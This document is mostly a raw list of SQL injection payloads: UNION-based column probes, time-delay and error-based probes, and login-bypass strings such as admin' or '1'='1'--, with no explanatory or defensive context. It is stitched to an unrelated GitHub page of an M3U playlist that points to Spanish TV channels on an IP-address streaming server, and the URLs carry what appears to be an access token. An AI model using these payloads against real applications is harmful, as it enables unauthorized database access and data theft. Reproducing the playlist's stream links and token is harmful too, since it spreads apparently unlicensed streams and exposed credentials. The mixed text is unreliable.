@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT NULL-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))-- UNION ALL SELECT NULL# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))# UNION ALL SELECT NULL AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL-- UNION ALL SELECT 'INJ'||'ECT'||'XXX' UNION ALL SELECT 'INJ'||'ECT'||'XXX',2 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION ALL SELECT 'INJ'||'ECT'||'XXX'-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION ALL SELECT 'INJ'||'ECT'||'XXX'# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# '-' ' ' '&' '^' '*' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' "-" " " "&" "^" "*" " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true-- " or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x or 1=1 or 1=1-- or 1=1# or 1=1/* admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
GitHub Repo https://github.com/Malder21/maldertves.m3u

Malder21/maldertves.m3u

1 #EXTM3U 2 #EXTINF:-1,ES: #0 FHD 3 http://51.91.73.99:25461/spain/XDWu1KatRP/21517 4 #EXTINF:-1,ES: #VAMOS FHD 5 http://51.91.73.99:25461/spain/XDWu1KatRP/21518 6 #EXTINF:-1,ES: 7 Murcia 7 http://51.91.73.99:25461/spain/XDWu1KatRP/21519 8 #EXTINF:-1,ES: 13TV HD 9 http://51.91.73.99:25461/spain/XDWu1KatRP/21520 10 #EXTINF:-1,ES: 24 HORAS 11 http://51.91.73.99:25461/spain/XDWu1KatRP/21521 12 #EXTINF:-1,ES: 25 TV 13 http://51.91.73.99:25461/spain/XDWu1KatRP/21522 14 #EXTINF:-1,ES: 324 Cat 15 http://51.91.73.99:25461/spain/XDWu1KatRP/21523 16 #EXTINF:-1,ES: 33 17 http://51.91.73.99:25461/spain/XDWu1KatRP/21524 18 #EXTINF:-1,ES: 5RTV Santa Fe 19 http://51.91.73.99:25461/spain/XDWu1KatRP/21525 20 #EXTINF:-1,ES: 7RM FHD 21 http://51.91.73.99:25461/spain/XDWu1KatRP/21526 22 #EXTINF:-1,ES: 8TV Madrid 23 http://51.91.73.99:25461/spain/XDWu1KatRP/21527 24 #EXTINF:-1,ES: A&E FHD 25 http://51.91.73.99:25461/spain/XDWu1KatRP/21528 26 #EXTINF:-1,ES: A3 SERIE FHD 27 http://51.91.73.99:25461/spain/XDWu1KatRP/21530 28 